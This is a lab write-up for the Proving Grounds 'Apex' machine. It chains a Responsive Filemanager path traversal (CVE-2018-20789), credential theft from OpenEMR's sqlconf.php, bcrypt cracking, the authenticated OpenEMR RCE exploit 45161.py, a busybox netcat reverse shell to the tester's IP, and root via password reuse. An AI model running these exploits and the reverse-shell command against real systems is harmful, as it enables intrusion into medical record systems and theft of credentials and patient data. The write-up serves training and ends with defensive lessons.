the_open_door
coffee
ESEN

Apex

Proving Grounds PracticeMediumLinux192.168.104.145

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#openemr#responsive-filemanager#path-traversal#cve-2018-20789#smb#credentials-in-source#mysql#bcrypt#hash-cracking#cve-2018-17179#rce#password-reuse#oscp
TL;DR. Apex is a fictional hospital with OpenEMR 5.0.1 and a Responsive Filemanager 9.13.4 on 80, an SMB with docs and MySQL on 3306. The Filemanager has a path traversal (CVE-2018-20789): since its Documents folder is synced with the SMB share docs, we copy sqlconf.php there and read it over SMB (path traversal), getting the MySQL credentials (openemr:C78maEQUIEuQ, credentials in config). In the database we pull admin's bcrypt hash, crack it to thedoctor (cracking) and log into OpenEMR; its authenticated RCE (CVE-2018-17179) gives a shell as www-data. That same password works for su root (reuse).

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.

ping -c 1 192.168.104.145
64 bytes from 192.168.104.145: icmp_seq=1 ttl=61 time=29.1 ms

We sweep all TCP ports, then fingerprint versions:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.104.145
PORT     STATE SERVICE
80/tcp   open  http
445/tcp  open  netbios-ssn
3306/tcp open  mysql
nmap -p80,445,3306 -sCV 192.168.104.145 -oN targetedScan
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: APEX Hospital
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MariaDB 5.5.5-10.1.48

A hospital site (80), a Samba (445) and a MariaDB (3306). The mix suggests a medical app with its database; the SMB usually holds documentation or shared files.

SMB - TCP 445

With a null session we enumerate the shares: docs is readable and contains OpenEMR PDFs, which gives away the app running behind it:

netexec smb 192.168.104.145 -u '' -p '' --shares
smbclient //192.168.104.145/docs
docs            READ            Documents
...
OpenEMR Success Stories.pdf
OpenEMR Features.pdf

Opening the PDF confirms the product and even links to its repository (github.com/openemr/openemr), which will later tell us where OpenEMR keeps its files:

PDF "OpenEMR Features" showing the github.com/openemr/openemr link

We keep the key fact: the docs share is a folder of the web server (we'll confirm it shortly).

HTTP - TCP 80

The site is "APEX Hospital". Enumerating routes turns up /openemr (the medical app) and a /filemanager:

APEX Hospital landing page on port 80

OpenEMR is at /openemr; its admin.php identifies version 5.0.1:

OpenEMR Site Administration (admin.php) confirms version 5.0.1

Later on, once inside the application with an admin session, the About menu confirms it from the interface itself, without relying on the installer:

the About OpenEMR tab inside the application, with Version Number v5.0.1 (1) and the manual and support buttons

About OpenEMR
Version Number: v5.0.1 (1)
  User Manual
  Online Support
  Acknowledgments, Licensing and Certification

That trailing (1) is the patch number, and it is what will decide which exploit works later on.

And at /filemanager runs a Responsive Filemanager v9.13.4:

Responsive Filemanager v9.13.4 with the Images and Documents folders

That Filemanager shows a Documents folder. Enumerating the SMB share docs we see the same two PDFs the Filemanager lists in Documents: both views point to the same folder on disk, i.e. Documents (web) and docs (SMB) are synced. That sync is the piece that joins the chain:

Filemanager showing the Documents folder with the two PDFs and, side by side, smbclient //docs listing the same files

File read (path traversal)

Responsive Filemanager 9.13.4: SMB-synced path traversal

Responsive Filemanager 9.13.4 is vulnerable to a path traversal (CVE-2018-20789, exploit 49359.py). The exploit doesn't return the file directly: it uses the paste_clipboard action to copy the targeted file into the Documents folder. Since Documents is synced with the SMB share docs, we then read the result over SMB. First we validate the traversal against /etc/passwd (it needs a valid PHPSESSID, which we grab with a curl -I):

curl -I http://192.168.104.145/filemanager/
python3 exp.py "http://192.168.104.145" PHPSESSID=<session> /etc/passwd

curl -I returning the PHPSESSID and exp.py reading /etc/passwd through the traversal

root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

The copied file appears as passwd inside Documents in the Filemanager itself, visual proof the paste_clipboard worked:

The Filemanager shows the passwd file just copied into the Documents folder

At the manager's root it reads just as clearly, now next to the two original folders: the bar's counter moves to (1 Files - 2 Folders) and passwd shows up as one more file, selectable and downloadable straight from the browser:

the Responsive Filemanager root with Images, Documents and the freshly appeared passwd file, and the 1 Files - 2 Folders counter

/ (1 Files - 2 Folders)
  Images   Documents   passwd

And, since Documents is synced with docs, that same passwd can be downloaded over SMB:

smbclient //docs listing the passwd file (1607 bytes) next to the two PDFs

With the PoC validated, the real target is OpenEMR's sqlconf.php, the file that holds the database credentials. We know its path from OpenEMR's public repository (sites/default/sqlconf.php):

OpenEMR's GitHub repository showing sites/default/sqlconf.php and its credentials structure

We point the traversal at that path and retrieve it over SMB:

python3 exp.py "http://192.168.104.145" PHPSESSID=<session> /var/www/openemr/sites/default/sqlconf.php
smbclient //192.168.104.145/docs    # get sqlconf.php

Path traversal exploit copying sqlconf.php and smbclient listing the file in docs

sqlconf.php reveals the database credentials (credentials in config):

$host  = 'localhost';
$login = 'openemr';
$pass  = 'C78maEQUIEuQ';
$dbase = 'openemr';

Auth to OpenEMR (credentials)

MySQL: admin's hash and cracking

With those credentials we log into the MariaDB on 3306 and navigate to the openemr database:

mysql -h 192.168.104.145 -u openemr -p --skip-ssl   # C78maEQUIEuQ

Login to MariaDB as openemr; show databases shows openemr and show tables lists addresses, amc_misc_data...

MariaDB [(none)]> show databases;
information_schema
openemr
MariaDB [(none)]> use openemr;
MariaDB [openemr]> show tables;

The users_secure table holds the administrator's hash:

select username,password from users_secure;

Query on users_secure showing the admin user and its bcrypt hash

admin   $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC

It's a bcrypt; we crack it offline with John (hash cracking):

john --wordlist=/usr/share/wordlists/rockyou.txt hash

John cracking admin's bcrypt and revealing the password thedoctor

thedoctor        (?)

admin's password is thedoctor. We use it on OpenEMR's login:

OpenEMR login form with username admin and password thedoctor

And we land in the panel as Administrator:

OpenEMR main panel (calendar) authenticated as Administrator

Shell as www-data

OpenEMR 5.0.1: authenticated RCE (CVE-2018-17179)

OpenEMR 5.0.1 has an authenticated RCE (CVE-2018-17179): with a valid admin session, commands run on the server. We look up the public exploit for that version:

searchsploit openemr 5.0.1

searchsploit openemr 5.0.1 listing several authenticated RCEs, among them 45161.py

OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)   | php/webapps/45161.py

We download 45161.py and rename it:

searchsploit -m 45161.py
mv 45161.py openemr.py

searchsploit -m downloads 45161.py, which we rename openemr.py

Copied to: /proving_grounds/apex/exploits/45161.py

Before triggering a shell it pays to check the RCE works. We fire a ping back at us and capture it with tcpdump:

sudo tcpdump -i tun0 icmp
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "ping -c 1 192.168.45.196"

The exploit authenticates as admin:thedoctor and injects the ping; tcpdump captures the ICMP echo request/reply from 192.168.104.145

[$] Authenticating with admin:thedoctor
[$] Injecting payload
[$] Payload executed

20:40:49 IP 192.168.104.145 > 192.168.45.196: ICMP echo request, id 2221, seq 1
20:40:49 IP 192.168.45.196 > 192.168.104.145: ICMP echo reply,   id 2221, seq 1

The ICMP confirms execution. Now we set up an nc listener and fire the reverse shell with busybox netcat:

nc -nlvp 445
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "busybox nc 192.168.45.196 445 -e bash"

Reverse shell received as www-data@APEX after OpenEMR's authenticated RCE

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We read the first proof (in white's home):

cat /home/white/local.txt && whoami && ip a && hostname

local.txt read as www-data on APEX, with IP 192.168.104.145

a32d76701998f67dc7034c46f2415c16

Privilege escalation

Password reuse

The password we cracked for OpenEMR (thedoctor) is an obvious candidate for other accounts (credential reuse). We try it straight with su root:

su root    # thedoctor
id

su root with the password thedoctor; id returns uid=0(root) on APEX

www-data@APEX:/var/www/openemr/interface/main$ su root
Password:
root@APEX:/var/www/openemr/interface/main# id
uid=0(root) gid=0(root) groups=0(root)

root reuses the same password. We read the final proof:

cat /root/proof.txt && whoami && hostname && ip a

proof.txt read as root on APEX, with whoami root

b41dc02e29368b5fdbcee6aaa4a38183

Attack chain

SMB docs (445)  ──  OpenEMR PDFs (fingerprint) + folder synced with /filemanager
HTTP (80)  ──  OpenEMR 5.0.1 + Responsive Filemanager 9.13.4
        │  path traversal (CVE-2018-20789) -> copy sqlconf.php to Documents -> read over SMB
        │  -> MySQL openemr:C78maEQUIEuQ
        ▼
MySQL (3306)  ──  users_secure -> admin's bcrypt hash -> john -> thedoctor
        │  OpenEMR admin:thedoctor -> authenticated RCE (CVE-2018-17179) -> busybox nc
        ▼
shell as www-data  (local.txt)
        │  password reuse -> su root (thedoctor)
        ▼
shell as root  (proof.txt)

Lessons learned

  • Two services sharing a folder multiply the risk. The Filemanager's path traversal only copied files to Documents, but that folder was the SMB share docs: the combination turned an internal copy into arbitrary read from outside.
  • Validate the PoC before the real target. Reading /etc/passwd first confirmed the traversal without risking anything; only then did we go for sqlconf.php. And OpenEMR's public repo gave us that file's exact path.
  • DB credentials in config are a direct bridge. sqlconf.php handed over openemr:C78maEQUIEuQ, which opened the database and, with it, the administrator's hash.
  • A low-cost bcrypt with a dictionary password falls fast. thedoctor came out of rockyou in seconds; cost 5 helps, but the real problem is the weak password.
  • Password reuse links the app to the system. The same thedoctor from the panel worked for root. Per-service credentials (and a root with its own password) would have cut the escalation.
Command cheatsheet 11 commands

Quick review